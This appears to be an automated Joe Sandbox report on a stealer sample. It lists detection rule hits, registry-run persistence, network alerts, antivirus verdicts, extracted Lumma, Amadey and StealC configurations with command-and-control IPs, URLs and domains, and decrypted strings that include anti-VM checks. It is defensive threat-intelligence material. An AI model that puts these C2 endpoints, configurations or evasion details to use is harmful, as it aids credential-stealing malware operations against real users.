34.2.26972fc2ff.exe.5f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.26972fc2ff.exe.5f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.ab0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6248, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9f543353fa.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6248, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9f543353fa.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:21.663657+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.6	49754	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.821314+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:08.764276+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:10.320448+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-01T03:45:11.836889+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-01T03:45:13.179790+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-01T03:45:15.194214+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:45:16.960878+0100	2028371	3	Unknown Traffic	192.168.2.6	49727	188.114.97.3	443	TCP
2024-11-01T03:45:19.321630+0100	2028371	3	Unknown Traffic	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:46:18.976557+0100	2028371	3	Unknown Traffic	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:20.182249+0100	2028371	3	Unknown Traffic	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:21.609076+0100	2028371	3	Unknown Traffic	192.168.2.6	58529	188.114.97.3	443	TCP
2024-11-01T03:46:23.197751+0100	2028371	3	Unknown Traffic	192.168.2.6	58530	188.114.97.3	443	TCP
2024-11-01T03:46:24.610157+0100	2028371	3	Unknown Traffic	192.168.2.6	58532	188.114.97.3	443	TCP
2024-11-01T03:46:26.796753+0100	2028371	3	Unknown Traffic	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:29.328911+0100	2028371	3	Unknown Traffic	192.168.2.6	58538	188.114.97.3	443	TCP
2024-11-01T03:46:30.802128+0100	2028371	3	Unknown Traffic	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:31.808851+0100	2028371	3	Unknown Traffic	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:32.569440+0100	2028371	3	Unknown Traffic	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:34.528129+0100	2028371	3	Unknown Traffic	192.168.2.6	58543	188.114.97.3	443	TCP
2024-11-01T03:46:36.215361+0100	2028371	3	Unknown Traffic	192.168.2.6	58545	188.114.97.3	443	TCP
2024-11-01T03:46:38.233075+0100	2028371	3	Unknown Traffic	192.168.2.6	58547	188.114.97.3	443	TCP
2024-11-01T03:46:41.880379+0100	2028371	3	Unknown Traffic	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:43.201739+0100	2028371	3	Unknown Traffic	192.168.2.6	58556	188.114.97.3	443	TCP
2024-11-01T03:46:43.586082+0100	2028371	3	Unknown Traffic	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:47.719230+0100	2028371	3	Unknown Traffic	192.168.2.6	58563	188.114.97.3	443	TCP
2024-11-01T03:46:49.372290+0100	2028371	3	Unknown Traffic	192.168.2.6	58565	188.114.97.3	443	TCP
2024-11-01T03:46:51.050687+0100	2028371	3	Unknown Traffic	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:46:51.956061+0100	2028371	3	Unknown Traffic	192.168.2.6	58576	188.114.97.3	443	TCP
2024-11-01T03:46:54.575924+0100	2028371	3	Unknown Traffic	192.168.2.6	58586	188.114.97.3	443	TCP
2024-11-01T03:46:57.739901+0100	2028371	3	Unknown Traffic	192.168.2.6	58589	188.114.97.3	443	TCP
2024-11-01T03:47:00.199675+0100	2028371	3	Unknown Traffic	192.168.2.6	58591	188.114.97.3	443	TCP
2024-11-01T03:47:03.362221+0100	2028371	3	Unknown Traffic	192.168.2.6	58595	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:07.353241+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:09.479304+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:19.779077+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:46:19.519186+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:20.694192+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:31.887298+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:32.140085+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:33.058034+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:42.759908+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:44.051682+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:51.755382+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:47:04.183427+0100	2054653	1	A Network Trojan was detected	192.168.2.6	58595	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:07.353241+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:46:19.519186+0100	2049836	1	A Network Trojan was detected	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:31.887298+0100	2049836	1	A Network Trojan was detected	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:42.759908+0100	2049836	1	A Network Trojan was detected	192.168.2.6	58554	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:09.479304+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:46:20.694192+0100	2049812	1	A Network Trojan was detected	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:33.058034+0100	2049812	1	A Network Trojan was detected	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:44.051682+0100	2049812	1	A Network Trojan was detected	192.168.2.6	58557	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.821314+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:08.764276+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:10.320448+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-01T03:45:11.836889+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-01T03:45:13.179790+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-01T03:45:15.194214+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:45:16.960878+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49727	188.114.97.3	443	TCP
2024-11-01T03:45:19.321630+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:46:18.976557+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:20.182249+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:21.609076+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58529	188.114.97.3	443	TCP
2024-11-01T03:46:23.197751+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58530	188.114.97.3	443	TCP
2024-11-01T03:46:24.610157+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58532	188.114.97.3	443	TCP
2024-11-01T03:46:26.796753+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:29.328911+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58538	188.114.97.3	443	TCP
2024-11-01T03:46:30.802128+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:31.808851+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:32.569440+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:34.528129+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58543	188.114.97.3	443	TCP
2024-11-01T03:46:36.215361+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58545	188.114.97.3	443	TCP
2024-11-01T03:46:38.233075+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58547	188.114.97.3	443	TCP
2024-11-01T03:46:41.880379+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58554	188.114.97.3	443	TCP
2024-11-01T03:46:43.201739+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58556	188.114.97.3	443	TCP
2024-11-01T03:46:43.586082+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58557	188.114.97.3	443	TCP
2024-11-01T03:46:47.719230+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58563	188.114.97.3	443	TCP
2024-11-01T03:46:49.372290+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58565	188.114.97.3	443	TCP
2024-11-01T03:46:51.050687+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58571	188.114.97.3	443	TCP
2024-11-01T03:46:51.956061+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58576	188.114.97.3	443	TCP
2024-11-01T03:46:54.575924+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58586	188.114.97.3	443	TCP
2024-11-01T03:46:57.739901+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58589	188.114.97.3	443	TCP
2024-11-01T03:47:00.199675+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58591	188.114.97.3	443	TCP
2024-11-01T03:47:03.362221+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	58595	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:20.705372+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49750	185.215.113.16	80	TCP
2024-11-01T03:46:33.076308+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	58542	185.215.113.16	80	TCP
2024-11-01T03:46:37.381258+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	58546	185.215.113.16	80	TCP
2024-11-01T03:46:52.716904+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	58580	185.215.113.16	80	TCP
2024-11-01T03:47:05.098334+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	58600	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:46:18.513134+0100	2044696	1	A Network Trojan was detected	192.168.2.6	58525	185.215.113.43	80	TCP
2024-11-01T03:46:28.155415+0100	2044696	1	A Network Trojan was detected	192.168.2.6	58535	185.215.113.43	80	TCP
2024-11-01T03:46:36.156821+0100	2044696	1	A Network Trojan was detected	192.168.2.6	58544	185.215.113.43	80	TCP
2024-11-01T03:46:44.678930+0100	2044696	1	A Network Trojan was detected	192.168.2.6	58559	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.122446+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	61624	1.1.1.1	53	UDP
2024-11-01T03:46:18.312960+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	50158	1.1.1.1	53	UDP
2024-11-01T03:46:30.116836+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	58097	1.1.1.1	53	UDP
2024-11-01T03:46:41.163349+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	63998	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.133573+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	63015	1.1.1.1	53	UDP
2024-11-01T03:46:18.327823+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	61381	1.1.1.1	53	UDP
2024-11-01T03:46:30.128576+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	58740	1.1.1.1	53	UDP
2024-11-01T03:46:41.174563+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	57014	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.171651+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	65216	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.108918+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	57329	1.1.1.1	53	UDP
2024-11-01T03:46:18.299827+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	60709	1.1.1.1	53	UDP
2024-11-01T03:46:30.101836+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	49340	1.1.1.1	53	UDP
2024-11-01T03:46:41.122811+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	55382	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.157271+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	49926	1.1.1.1	53	UDP
2024-11-01T03:46:18.339778+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	54766	1.1.1.1	53	UDP
2024-11-01T03:46:30.139794+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	54538	1.1.1.1	53	UDP
2024-11-01T03:46:41.226511+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	60500	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:15.881203+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:46:27.298463+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:58.576079+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	58589	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:46:29.752957+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	58537	185.215.113.206	80	TCP
2024-11-01T03:46:43.539895+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	58555	185.215.113.206	80	TCP
2024-11-01T03:46:52.340805+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	58575	185.215.113.206	80	TCP
2024-11-01T03:47:02.356592+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	58593	185.215.113.206	80	TCP
2024-11-01T03:47:16.836474+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	58630	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:46:05.919533+0100	2856147	1	A Network Trojan was detected	192.168.2.6	58522	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:46:17.600647+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	58523	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:46:09.289604+0100	2803305	3	Unknown Traffic	192.168.2.6	58524	185.215.113.16	80	TCP
2024-11-01T03:46:19.430052+0100	2803305	3	Unknown Traffic	192.168.2.6	58527	185.215.113.16	80	TCP
2024-11-01T03:46:29.456603+0100	2803305	3	Unknown Traffic	192.168.2.6	58536	185.215.113.16	80	TCP
2024-11-01T03:46:37.381258+0100	2803305	3	Unknown Traffic	192.168.2.6	58546	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\4HKD0R439Q1BOYMAOJT8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000003.2699831854.0000000005350000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.2.num.exe.b20000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.2976.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "necklacedmny.store", "navygenerayk.store", "founpiuer.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4HKD0R439Q1BOYMAOJT8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 32.2.num.exe.b20000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 30
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 11
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 20
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: 24
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetProcAddress
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: LoadLibraryA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: lstrcatA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: OpenEventA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateEventA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CloseHandle
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Sleep
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: VirtualFree
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetSystemInfo
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: VirtualAlloc
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HeapAlloc
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetComputerNameA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: lstrcpyA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetProcessHeap
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetCurrentProcess
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: lstrlenA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ExitProcess
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetSystemTime
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: advapi32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: gdi32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: user32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: crypt32.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ntdll.dll
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetUserNameA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateDCA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetDeviceCaps
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: ReleaseDC
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: sscanf
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: VMwareVMware
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HAL9TH
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: JohnDoe
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: DISPLAY
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: http://185.215.113.206
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: bksvnsj
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: /746f34465cf17784/
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: tale
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetFileAttributesA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GlobalLock
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: HeapFree
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetFileSize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GlobalSize
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: IsWow64Process
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Process32Next
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetLocalTime
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: FreeLibrary
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetVolumeInformationA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: Process32First
Source: 32.2.num.exe.b20000.0.unpack	String decryptor: GetLocaleInfoA
